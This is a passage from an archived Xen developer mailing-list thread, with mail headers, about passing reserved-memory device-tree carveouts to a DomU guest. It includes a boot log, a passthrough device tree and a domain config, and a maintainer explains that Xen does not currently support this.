	SA2PEPF00001505.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN2PR12MB4392
X-purgate-ID: tlsNG-720697/1784883507-F06A72AC-DBA840A7/0/0
X-purgate-type: clean
X-purgate-size: 6630



On 24-Jul-26 10:32, Padhi, Beleswar wrote:
> Hello,
> 
> Thanks for the response! I see, this would solve the cma problem. But 
> there are usecases
> when we want to use the reserved-memory node; one example is the 
> firmware for
> remote processors. In that case, how do we passthrough reserved-memory 
> nodes to
> DomUs?
I'm afraid we don't have a solution for that at the moment but this is a
limitation we are aware of. So far, when it comes to /reserved-memory we only
have a static shared memory feature allowing to set up a shmem communication
region between domUs, where the range is exposed to domains in DT following this
spec:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/devicetree/bindings/reserved-memory/xen,shared-memory.txt

Cheers,
Michal

> 
> Example:
>  Â 60
>  Â 61Â  Â  Â  Â  Â  Â  Â  Â  Â mcu_r52_0_fw_memory_region: memory@a1000000 {
>  Â 62Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>  Â 63Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0xa1000000 0x00 0x100000>;
>  Â 64Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â no-map;
>  Â 65Â  Â  Â  Â  Â  Â  Â  Â  Â };
> 
> Thanks,
> Beleswar
> 
> On 7/24/2026 1:52 PM, Orzel, Michal wrote:
>> Hi,
>>
>> I'm afraid this will not work. The reason is that Xen only copies nodes from the
>> passthrough DTB to final DTB that are placed under `/passthrough` node and
>> `/aliases`. /reserved-memory needs to be under root node `/`, therefore it will
>> not be copied. However, it seems like you are not using CMA node specifying a
>> fixed memory region (using `reg`) but size. In that case you should be able to
>> achieve the same using `cma=128M` kernel cmdline parameter.
>>
>> ~Michal
>>
>> On 24-Jul-26 08:55, Beleswar Prasad Padhi wrote:
>>> Hi all,
>>>
>>> I have been trying to use reserved-memory carveouts in DomU, but failing constantly.
>>>
>>> This is the log from Dom1 boot:
>>>
>>> [Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
>>> 8')
>>> [Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
>>> [Â  Â  0.000000] Xen 4.21 support found
>>> [Â  Â  0.000000] efi: UEFI not found.
>>> *[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
>>> [Â  Â  0.000000] Zone ranges:
>>> [Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
>>> [Â  Â  0.000000]Â  Â DMA32Â  Â  empty
>>> [Â  Â  0.000000]Â  Â NormalÂ  Â empty
>>> [Â  Â  0.000000] Movable zone start for each node
>>> [Â  Â  0.000000] Early memory node ranges
>>> [Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
>>> [Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
>>> [Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
>>> [Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000
>>>
>>> This is my passthrough.dts:
>>>
>>>  Â  Â  1 /*
>>>  Â  Â  2 * This is a partial DT for passthrough node to DomU.
>>>  Â  Â  3 */
>>>  Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
>>>  Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
>>>  Â  Â  6
>>>  Â  Â  7 /dts-v1/;
>>>  Â  Â  8
>>>  Â  Â  9 / {
>>>  Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
>>>  Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
>>>  Â  Â 12
>>> ~Â  13Â  Â  Â  Â  Â reserved-memory {
>>> ~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>> ~Â  15Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <2>;
>>> +Â  16Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>> +Â  17
>>> +Â  18Â  Â  Â  Â  Â  Â  Â  Â  Â /* CMA region for framebuffer allocation */
>>> +Â  19Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma {
>>> +Â  20Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>>> +Â  21Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reusable;
>>> +Â  22Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â size = <0x00 0x08000000>; /* 128MB CMA pool */
>>> +Â  23Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â linux,cma-default;
>>> +Â  24Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>  Â  Â 25Â  Â  Â  Â  Â };
>>>  Â  Â 26
>>>  Â  Â 27Â  Â  Â  Â  Â passthrough {
>>>  Â  Â 28Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "simple-bus";
>>>  Â  Â 29Â  Â  Â  Â  Â  Â  Â  Â  Â ranges;
>>>  Â  Â 30Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
>>>  Â  Â 31Â  Â  Â  Â  Â  Â  Â  Â  Â #size-cells = <1>;
>>>  Â  Â 32
>>>  Â  Â 33Â  Â  Â  Â  Â  Â  Â  Â  Â misc_clk: misc_clk {
>>>  Â  Â 34Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â #clock-cells = <0>;
>>>  Â  Â 35Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clock-frequency = <100000000>;
>>>  Â  Â 36Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "fixed-clock";
>>>  Â  Â 37Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>
>>>  Â  Â 73Â  Â  Â  Â  Â  Â  Â  Â  Â uart@53914000 {
>>>  Â  Â 74Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "ns16550a";
>>>  Â  Â 75Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0x53914000 0x1000>;
>>> ~_ 76Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â interrupts = <0 302 4>;
>>>  Â  Â 77Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-shift = <2>;
>>>  Â  Â 78Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg-io-width = <4>;
>>>  Â  Â 79Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â clocks = <&misc_clk>;
>>>  Â  Â 80Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â oversampling-rate = <16>;
>>>  Â  Â 81Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â programmable-char-timeout = <4>;
>>>  Â  Â 82Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â status = "okay";
>>>  Â  Â 83Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,path = "/bus@100000/bus@22000000/uart@53914000";
>>>  Â  Â 84Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,reg = <0x0 0x53914000 0x1000 0x0 0x53914000>;
>>>  Â  Â 85Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â xen,force-assign-without-iommu;
>>>  Â  Â 86Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>>  Â  Â 87Â  Â  Â  Â  Â  };
>>>
>>>  Â  Â 88Â  Â  };
>>>
>>>
>>> And this is my dom1.cfg file:
>>>
>>>  Â 1 name = "dom1"
>>>  Â 2 memory = 256
>>>  Â 3 vcpus = 4
>>>  Â 4
>>>  Â 5 kernel = "/boot/xen-dom1/Image"
>>>  Â 6 extra = "console=ttyS0,115200n8 earlycon=uart8250,mmio32,0x53914000,115200n8 loglevel=8 root=/dev/xvda rw"
>>>  Â 7
>>>  Â 8 # UART1 (0x53914000) passthrough to Dom1 console
>>>  Â 9 iomem = ["0x53914,1"]
>>> 11 irqs = [ 334 ]
>>> 12 dtdev = [ "/bus@100000/bus@22000000/uart@53914000"]
>>> 13 vif = ["script=vif-route"]
>>> 14 device_tree = "/boot/xen-dom1/passthrough.dtb"
>>> 15 #
>>> 17 disk = ["phy:/dev/vda2,xvda,rw"]
>>>
>>>
>>> Am I doing something wrong? Any help or debugging leads would be really appreciated...
>>>
>>> Thank you,
>>> Beleswar
>>>
>>>



From xen-devel-bounces@lists.xenproject.org Fri Jul 24 09:26:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 09:26:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369916.1618381 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnCB6-0008Jt-VC; Fri, 24 Jul 2026 09:26:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369916.1618381; Fri, 24 Jul 2026 09:26:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnCB6-0008Jm-S9; Fri, 24 Jul 2026 09:26:48 +0000
Received: by outflank-mailman (input) for mailman id 1369916;
 Fri, 24 Jul 2026 09:26:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <b-padhi@ti.com>) id 1wnCB5-0008Je-CU
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 09:26:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnCB4-004M4O-01
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 11:26:46 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a632fd1-e002-0a2a0a5209dd-0a2a4505a05e-12
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 11:26:45 +0200
Received: from [148.163.154.28] (helo=mx0b-0002e601.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <b-padhi@ti.com>)
 id 6a632fd3-4cb1-0a2a45050019-94a39a1c738c-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 11:26:44 +0200
Received: from pps.filterd (m0374955.ppops.net [127.0.0.1])
 by mx0b-0002e601.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66O4l1TL407665; Fri, 24 Jul 2026 04:26:42 -0500
Received: from sn4pr0501cu005.outbound.protection.outlook.com
 (mail-southcentralusazon11011033.outbound.protection.outlook.com
 [40.93.194.33])
 by mx0b-0002e601.pphosted.com (PPS) with ESMTPS id 4fkyp7hvwt-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT);
 Fri, 24 Jul 2026 04:26:41 -0500 (CDT)
Received: from MN0PR03CA0005.namprd03.prod.outlook.com (2603:10b6:208:52f::12)
 by DS0PR10MB7512.namprd10.prod.outlook.com (2603:10b6:8:165::19) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Fri, 24 Jul
 2026 09:26:38 +0000
Received: from BL6PEPF00020E62.namprd04.prod.outlook.com
 (2603:10b6:208:52f:cafe::8) by MN0PR03CA0005.outlook.office365.com
 (2603:10b6:208:52f::12) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.11 via Frontend Transport; Fri,
 24 Jul 2026 09:26:38 +0000
Received: from flwvzet201.ext.ti.com (198.47.21.195) by
 BL6PEPF00020E62.mail.protection.outlook.com (10.167.249.23) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.5 via Frontend Transport; Fri, 24 Jul 2026 09:26:36 +0000
Received: from DFLE205.ent.ti.com (10.64.6.63) by flwvzet201.ext.ti.com
 (10.248.192.32) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 04:26:33 -0500
Received: from DFLE202.ent.ti.com (10.64.6.60) by DFLE205.ent.ti.com
 (10.64.6.63) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37; Fri, 24 Jul
 2026 04:26:33 -0500
Received: from lelvem-mr06.itg.ti.com (10.180.75.8) by DFLE202.ent.ti.com
 (10.64.6.60) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.37 via Frontend
 Transport; Fri, 24 Jul 2026 04:26:33 -0500
Received: from [10.24.50.162] (uda0510294.dhcp.ti.com [10.24.50.162])
 by lelvem-mr06.itg.ti.com (8.18.1/8.18.1) with ESMTP id 66O9QVKa2937557;
 Fri, 24 Jul 2026 04:26:32 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=proofpoint-05-2026 header.d=ti.com header.i="@ti.com" header.h="Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector1 header.d=ti.com header.i="@ti.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; h=
	content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=
	proofpoint-05-2026; bh=ZHbxgTIavjyPTqu8VUIzrhRej/DC/CmLt3eZA4hJ1
	LI=; b=F77ynN/tgWzD9BIIael4O06iJOc3J8wSDPfMr1E7k7ZjCOcJTz7j89A9v
	9izWBOK3OQ4QR8cvFjRk0LQcysOyCq+lbrVXiF4HXIvnLpm+6asSFRQFovZ61y+a
	sflkgABfSdz8HQJyvWDHjksXlyzH7LCE9tvGxvjgDao1bLBbCDyNZD1HL4KbW5wK
	eFpnhYYdcskS8syD4QAoT5/grwbx9ODVDLGvE/M1osGGcMXR7jRvVOcT+wGcnm4A
	Amtl75PoK15JLHEM88QGw2cyJo954fB0R+6RzS/8yNMWgvpMKhlCe3eCe2sh4Yv6
	8vgPggcl6Wus2z2BdGQHbgWl4U7WQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=T17I6xyDzW+hyFThzXyUEGiy7pmVxmcrV2THUT/4pB2eLEI8ntdWmetAhc0Ximc3P2qfSzc1GnDNej9SExsIHj/AgphAglKr4+gUuLevt44NWnY3vXF4P4aJlrqhOyh7o1UYsIi+ppZUB+T+FDEP5Z6v5x895SodkxQm7NNRdVxqD1XuKHQdRnjT8kVGygE6M7QhQwKpMjR1O350GFUxcBOBqcDHMzyVPsm5sGN3ZyHrSTe1Jj4Y3fVGHYzRt5l28P16RE84xxkZIq5aoi2obIFrPWH3uXQvZIp7S7HJeqLMmRoQ0O0QS00FdLAjF7EMUAJyIHCZNdyPuuBkx2imcQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ZHbxgTIavjyPTqu8VUIzrhRej/DC/CmLt3eZA4hJ1LI=;
 b=Gtr1iN1PvIYdAUiHZEzwTI73rPlEakzzH/Ua3P9NX6bsYA/OyNm1ndgcDeWw0oS1rLXFA6MMajKzEKp02Wi7SaHUPhtCXd3AqruqQkV5QnffUxJX8qHr5STqK/nzPoy3Ytdw7p0LtUIhs015TkDkMN8KeMzpdnKl+hDNB1uWKJaZdJ9HaKNYUjhXylrBDCh5Acbj3FnZT/NAoorvtmDEEdcP2Bn81vpZuXryPo360UVM7RxyZC5usIV9+TbvAIn6Grlfgw25DRekt9SgP40ce6nXCqZ3I0QGjEC5ICwBTegps9zITR2SJzTrelOM9P4Nv3fV4E0kFaYhkP/uRXKyoA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 198.47.21.195) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=ti.com;
 dmarc=pass (p=quarantine sp=none pct=100) action=none header.from=ti.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ZHbxgTIavjyPTqu8VUIzrhRej/DC/CmLt3eZA4hJ1LI=;
 b=NozmJSm23n9qTYfRuxtoDGyzEv9dGYTO/AaVV9Md8BRLyVEr4eg9gadTyRqxrH6jD3Bvcm9s4HaTNGtFkmsbdhplT8TrFQzpzIb0yFxhxSFxuE/lV5LzwaHPPLFmAoUfLIk1tRwGNbCexyx3/DYwx+Ab0EkDBkgDGSqrKOYSioE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 198.47.21.195)
 smtp.mailfrom=ti.com; dkim=none (message not signed) header.d=none;dmarc=pass
 action=none header.from=ti.com;
Received-SPF: Pass (protection.outlook.com: domain of ti.com designates
 198.47.21.195 as permitted sender) receiver=protection.outlook.com;
 client-ip=198.47.21.195; helo=flwvzet201.ext.ti.com; pr=C
Message-ID: <0e556bb5-269d-47d7-9ae8-68f06eee9fc0@ti.com>
Date: Fri, 24 Jul 2026 14:56:31 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [Query] Unable to probe reserved-memory carveouts in DomU with
 Xen
To: "Orzel, Michal" <michal.orzel@amd.com>, <xen-devel@lists.xenproject.org>
References: <ba100bd7-5cc0-4f87-af3c-dca887963d44@ti.com>
 <c042c42e-89a6-4d9e-8b9e-3f6ceb259467@amd.com>
 <92ad79d5-ad28-4b17-ae13-174135d565fe@ti.com>
 <a28c9391-ab8a-4998-b35f-9ef4b539220c@amd.com>
Content-Language: en-US
From: Beleswar Prasad Padhi <b-padhi@ti.com>
In-Reply-To: <a28c9391-ab8a-4998-b35f-9ef4b539220c@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-C2ProcessedOrg: 333ef613-75bf-4e12-a4b1-8e3623f5dcea
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF00020E62:EE_|DS0PR10MB7512:EE_
X-MS-Office365-Filtering-Correlation-Id: 4f454793-b1b2-4b95-6da4-08dee965a908
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|376014|1800799024|82310400026|56012099006|4143699003|10067099003|6133799003|22082099003|18002099003|13003099007;
X-Microsoft-Antispam-Message-Info:
	nUj9IVLfsGFMP9FYY4YrGm3PtYEcW7Yi1BISJkES6a5zQ/FlkWdfEr5CnFe7buoFJp2cNUqwmLVHYlkfapKTSSq/Povi/FMizRt3pnAm+xV4fiQeqrOrHXwgUO9sjjA7UXqi8V/rT7r6HqBW3970kY+RSGZmIibD15fYS6H3AVyHT2ZvYQ2b8PlU+E3FEG3Yc5BR8lwXouaPTXQADTQwEqsxZogayC+JJ8O+iy5j9ps3aViUrUAz5SQJZr7b3Hbf3rYHUYPYMhVnGkqOmA3FWj02kV9b3PBv4hqdcxlsCV4x3UICZQ4bcGDNO3FvPJfFQVY7P8UxKunJr4StXiRzOQ189/nR4c4CcCKD+JTP1QeUArWw5kIltG9Wt9MuX94X2uw4j0uaT63Gi9efFL6zgv+8h/HCC5PmU3ocb8zZcvuoQDvahqTzB1OTUqlW4F3isG93vIZ9iBjcF4hvz3OPt7T5Utg4w12D0kDqfEwWvXknKiOgdIrW0GmnbFZvXP13ArB63g6Rm1397OxH79sKF1T8TOF2zgOclQQ0XnRGqmxLxHMQP+qWdX1GY5Z+uUF7hd2FnYiBuOVLe6xVNlmXJ7NOI5i9i4Ar1kE/kVE5iOm+zMIlStXmRo/whkWsiYxyXoxYlMV5pXQx/+f+AX//bg==
X-Forefront-Antispam-Report:
	CIP:198.47.21.195;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:flwvzet201.ext.ti.com;PTR:ErrorRetry;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(376014)(1800799024)(82310400026)(56012099006)(4143699003)(10067099003)(6133799003)(22082099003)(18002099003)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	6yokOJe1NF0PFXgkklAZBk8vWQG13hwmzpkLiqXLeq4/RvuBu0oFEJhAQ++RKyP+9dLwAI4zCzq9FRJR05mcA4D6LA62JHZhmc1X3CRvwVl9bQUVfEXISW3rAnVPKQJqPTJk3yAl2+xQGeOqcWq6ZRzZQBDXugLBZZLUQ80UOmBFMZUuU4uJTq1nHSWMccH3rwXdtt4maNXCboR3aG9lSqZ8MO4x9A2o9mc8qzEgpz0+hb4lAWVw24PcYOwlB3VEKXohPQ/zmnQ5fXGrD7zIv8u79BmvRVrK+VWy/2iN4fTbAmmMOETGUf35ybbhmzwMKJODDUFo+IksscCBd+tFc86cyN5nzH5znWWESNGQRZMFuO2tYpcohMT9mQ4ymsxoMrJ/yg48px0cypG/iw7yWkXElFyC4EZUCVXEyx3wZI5EbCC/eeNVqFMf6WRvMNXh
X-Exchange-RoutingPolicyChecked:
	KQxzRqygq7DptarupEk+9NtsS6Y9rHbONT9nXpxrH/NhGTRDK+LJSRGaQl/K/1wAAnKO3dM+HN4B7oCoHQwdNOY+J5RISTK5JWO83d5kuIVcg3bWk/kSykFgaxeHVLfr50JG1BNnSSTAZvSt/Z66PuRSSGg7HPygpnx7GBpGgt5uSB8tDzYDdZD1EiAquFiWljfG+Rox4RCDUP/3VKz6rqBmae5lOJtJR9VkrthxCFPB3RcnQ/KP3JS9EwxXE/yZe4jlxxCnIW9SVHPIIvkpbq/DnkgQdFZgaEfI+oOkNYfb1Ha0NJyA3fEZ1LU2IzQzJpJn2SlJks/jmBx0NtONwg==
X-OriginatorOrg: ti.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 24 Jul 2026 09:26:36.8921
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 4f454793-b1b2-4b95-6da4-08dee965a908
X-MS-Exchange-CrossTenant-Id: e5b49634-450b-4709-8abb-1e2b19b982b7
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=e5b49634-450b-4709-8abb-1e2b19b982b7;Ip=[198.47.21.195];Helo=[flwvzet201.ext.ti.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF00020E62.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR10MB7512
X-Authority-Analysis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xgVDOcQl1G
 Q8R2TquflxM92m+4K6u7itmax6vJm3lnGNnbzX4PLpfvMXTLA+62wv9rtTDjTDl3DUvuHCv8lZo
 hYlgpkPu4GDvOId6ccg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-24_01,2026-07-22_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 spamscore=0 priorityscore=1501 adultscore=0 clxscore=1015
 suspectscore=0 phishscore=0 bulkscore=0 lowpriorityscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607240085
X-purgate-ID: tlsNG-c201ff/1784885205-F70B22A1-1FD01A08/0/0
X-purgate-type: clean
X-purgate-size: 7049


On 24/07/26 14:28, Orzel, Michal wrote:
>
> On 24-Jul-26 10:32, Padhi, Beleswar wrote:
>> Hello,
>>
>> Thanks for the response! I see, this would solve the cma problem. But 
>> there are usecases
>> when we want to use the reserved-memory node; one example is the 
>> firmware for
>> remote processors. In that case, how do we passthrough reserved-memory 
>> nodes to
>> DomUs?
> I'm afraid we don't have a solution for that at the moment but this is a
> limitation we are aware of.


No problem, I can look into implementing it. Thanks for the
heads up!

>  So far, when it comes to /reserved-memory we only
> have a static shared memory feature allowing to set up a shmem communication
> region between domUs, where the range is exposed to domains in DT following this
> spec:
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/devicetree/bindings/reserved-memory/xen,shared-memory.txt


I see, is there any working example or documentation on
how to use these regions? DT/dom1.cfg configuration?

Thanks a lot,
Beleswar

>
> Cheers,
> Michal
>
>> Example:
>>  Â 60
>>  Â 61Â  Â  Â  Â  Â  Â  Â  Â  Â mcu_r52_0_fw_memory_region: memory@a1000000 {
>>  Â 62Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â compatible = "shared-dma-pool";
>>  Â 63Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â reg = <0x00 0xa1000000 0x00 0x100000>;
>>  Â 64Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â no-map;
>>  Â 65Â  Â  Â  Â  Â  Â  Â  Â  Â };
>>
>> Thanks,
>> Beleswar
>>
>> On 7/24/2026 1:52 PM, Orzel, Michal wrote:
>>> Hi,
>>>
>>> I'm afraid this will not work. The reason is that Xen only copies nodes from the
>>> passthrough DTB to final DTB that are placed under `/passthrough` node and
>>> `/aliases`. /reserved-memory needs to be under root node `/`, therefore it will
>>> not be copied. However, it seems like you are not using CMA node specifying a
>>> fixed memory region (using `reg`) but size. In that case you should be able to
>>> achieve the same using `cma=128M` kernel cmdline parameter.
>>>
>>> ~Michal
>>>
>>> On 24-Jul-26 08:55, Beleswar Prasad Padhi wrote:
>>>> Hi all,
>>>>
>>>> I have been trying to use reserved-memory carveouts in DomU, but failing constantly.
>>>>
>>>> This is the log from Dom1 boot:
>>>>
>>>> [Â  Â  0.000000] earlycon: uart8250 at MMIO32 0x0000000053914000 (options '115200n
>>>> 8')
>>>> [Â  Â  0.000000] printk: legacy bootconsole [uart8250] enabled
>>>> [Â  Â  0.000000] Xen 4.21 support found
>>>> [Â  Â  0.000000] efi: UEFI not found.
>>>> *[Â  Â  0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT*
>>>> [Â  Â  0.000000] Zone ranges:
>>>> [Â  Â  0.000000]Â  Â DMAÂ  Â  Â  [mem 0x0000000040000000-0x0000000051ffffff]
>>>> [Â  Â  0.000000]Â  Â DMA32Â  Â  empty
>>>> [Â  Â  0.000000]Â  Â NormalÂ  Â empty
>>>> [Â  Â  0.000000] Movable zone start for each node
>>>> [Â  Â  0.000000] Early memory node ranges
>>>> [Â  Â  0.000000]Â  Â nodeÂ  Â 0: [mem 0x0000000040000000-0x0000000051ffffff]
>>>> [Â  Â  0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x0000000051ffffff]
>>>> [Â  Â  0.000000] On node 0, zone DMA: 24576 pages in unavailable ranges
>>>> [Â  Â  0.000000] cma: Reserved 32 MiB at 0x000000004f800000
>>>>
>>>> This is my passthrough.dts:
>>>>
>>>>  Â  Â  1 /*
>>>>  Â  Â  2 * This is a partial DT for passthrough node to DomU.
>>>>  Â  Â  3 */
>>>>  Â  Â  4 #include <dt-bindings/interrupt-controller/irq.h>
>>>>  Â  Â  5 #include <dt-bindings/interrupt-controller/arm-gic.h>
>>>>  Â  Â  6
>>>>  Â  Â  7 /dts-v1/;
>>>>  Â  Â  8
>>>>  Â  Â  9 / {
>>>>  Â  Â 10Â  Â  Â  Â  Â #address-cells = <2>;
>>>>  Â  Â 11Â  Â  Â  Â  Â #size-cells = <1>;
>>>>  Â  Â 12
>>>> ~Â  13Â  Â  Â  Â  Â reserved-memory {
>>>> ~Â  14Â  Â  Â  Â  Â  Â  Â  Â  Â #address-cells = <2>;
